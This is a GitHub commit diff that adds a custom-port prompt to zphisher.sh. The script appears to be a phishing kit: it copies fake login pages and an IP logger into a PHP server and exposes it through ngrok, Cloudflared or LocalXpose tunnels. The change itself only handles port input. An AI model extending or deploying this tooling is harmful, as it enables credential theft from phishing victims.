Skip to content

Commit a71b89d

Browse files
authored
Merge pull request #584 from E343IO/master
Added CUSTOM PORT Feature
2 parents 028153e + edb8268 commit a71b89d

File tree

1 file changed

+32
-4
lines changed

1 file changed

+32
-4
lines changed

zphisher.sh

Lines changed: 32 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -355,14 +355,38 @@ about() {
355355

356356
## Setup website and start php server
357357
HOST='127.0.0.1'
358-
PORT='8080'
359-
358+
#DEFAULT PORT
359+
PORT='8080'
360+
361+
#COUSTOM PORT
362+
cusport() {
363+
echo ""
364+
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Coustom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS
365+
if [[ ${P_ANS} =~ ^([yY])$ ]]; then
366+
printf "\n\n"
367+
read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port 1024-9999 : ${WHITE}" CU_P
368+
if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ && ${CU_P} -ge 1024 ]]; then
369+
PORT=${CU_P}
370+
echo ""
371+
else
372+
echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}"
373+
{ sleep 2; clear; banner; cusport; }
374+
fi
375+
elif [[ ${P_ANS} =~ ^([Nn])$ ]];then
376+
echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port : $PORT...${WHITE}"
377+
echo ""
378+
else
379+
echo ""
380+
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...${WHITE}"
381+
cusport
382+
fi
383+
}
360384
setup_site() {
361-
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
385+
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
362386
cp -rf .sites/"$website"/* .server/www
363387
cp -f .sites/ip.php .server/www/
364388
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE}
365-
cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 &
389+
cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 &
366390
}
367391

368392
## Get IP address
@@ -407,6 +431,7 @@ capture_data() {
407431

408432
## Start ngrok
409433
start_ngrok() {
434+
cusport
410435
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
411436
{ sleep 1; setup_site; }
412437
echo -e "\n"
@@ -431,6 +456,7 @@ start_ngrok() {
431456
## Start Cloudflared
432457
start_cloudflared() {
433458
rm .cld.log > /dev/null 2>&1 &
459+
cusport
434460
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
435461
{ sleep 1; setup_site; }
436462
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Cloudflared..."
@@ -469,6 +495,7 @@ localxpose_auth() {
469495

470496
## Start LocalXpose (Again...)
471497
start_loclx() {
498+
cusport
472499
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
473500
{ sleep 1; setup_site; localxpose_auth; }
474501
echo -e "\n"
@@ -491,6 +518,7 @@ start_loclx() {
491518

492519
## Start localhost
493520
start_localhost() {
521+
cusport
494522
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
495523
setup_site
496524
{ sleep 1; clear; banner_small; }

0 commit comments

Comments
 (0)